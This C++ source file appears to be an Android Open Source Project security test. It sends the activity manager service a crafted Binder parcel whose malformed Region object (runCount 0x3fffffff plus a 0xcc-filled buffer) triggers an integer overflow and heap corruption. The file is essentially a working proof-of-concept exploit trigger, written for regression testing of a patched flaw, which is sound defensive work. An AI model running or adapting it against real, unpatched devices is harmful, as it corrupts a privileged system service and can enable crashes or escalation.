blob: 7e3b067e212038eb9e5c9854467fbc62042abc6e [file] [log] [blame]
/**
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <binder/IServiceManager.h>
#include <binder/Parcel.h>
using namespace android;
typedef enum TRANTYPE { HEAPSPRAY, HEAPCORRUPT, HEAPFENGSHUI } TRANTYPE;
static void writeParcelableHead(Parcel *pData, const char *class_name) {
// write key
static int count = 1;
const int VAL_PARCELABLE = 4;
char buffer[16] = {0};
snprintf(buffer, 16, "%d", count);
pData->writeString16(String16((const char *)buffer));
pData->writeInt32(VAL_PARCELABLE);
pData->writeString16(String16(class_name));
}
void writeRegion(Parcel *pData) {
pData->writeInt32(100); // length of region;
pData->writeInt32(
0x3fffffff); // runCount, the allocted size will be 0x3fffffff*4+16=0xc
pData->writeInt32(0xf); // fBounds
pData->writeInt32(0xf); // YSpanCount
pData->writeInt32(0xf); // IntervalCount
char buffer[100];
memset(buffer, 0xcc,
sizeof(buffer)); // this buffer will be used to corrrupt the heap
pData->write(buffer, sizeof(buffer));
}
static void writeBundle(Parcel *pData, int type) {
size_t lengthPos = pData->dataPosition();
pData->writeInt32(0xfffff);
const int BUNDLE_MAGIC = 0x4C444E42;
pData->writeInt32(BUNDLE_MAGIC);
size_t startPos = pData->dataPosition();
if (type == HEAPCORRUPT) {
pData->writeInt32(1); // from writeArrayMapInternal,object numbers in bundle
writeParcelableHead(pData, "android.graphics.Region");
writeRegion(pData);
} else { // other than HEAPCORRUPT
exit(0);
}
size_t endPos = pData->dataPosition();
// Backpatch length
pData->setDataPosition(lengthPos);
int length = endPos - startPos;
pData->writeInt32(length);
pData->setDataPosition(endPos);
}
static void transact(sp<IBinder> &service, TRANTYPE type) {
const int CONVERT_TO_TRANSLUCENT_TRANSACTION = 175;
Parcel data, reply;
data.writeInterfaceToken(String16("android.app.IActivityManager"));
data.writeStrongBinder(service);
data.writeInt32(333);
writeBundle(&data, type);
service->transact(CONVERT_TO_TRANSLUCENT_TRANSACTION, data, &reply);
}
int main(__attribute__((unused)) int argc,
__attribute__((unused)) char *const argv[]) {
sp<IServiceManager> sm = defaultServiceManager();
sp<IBinder> service = sm->checkService(String16("activity"));
if (service != NULL) {
printf("heap corruption\n");
transact(service, HEAPCORRUPT);
} else {
printf("get activitymanger failed\n");
}
return 0;
}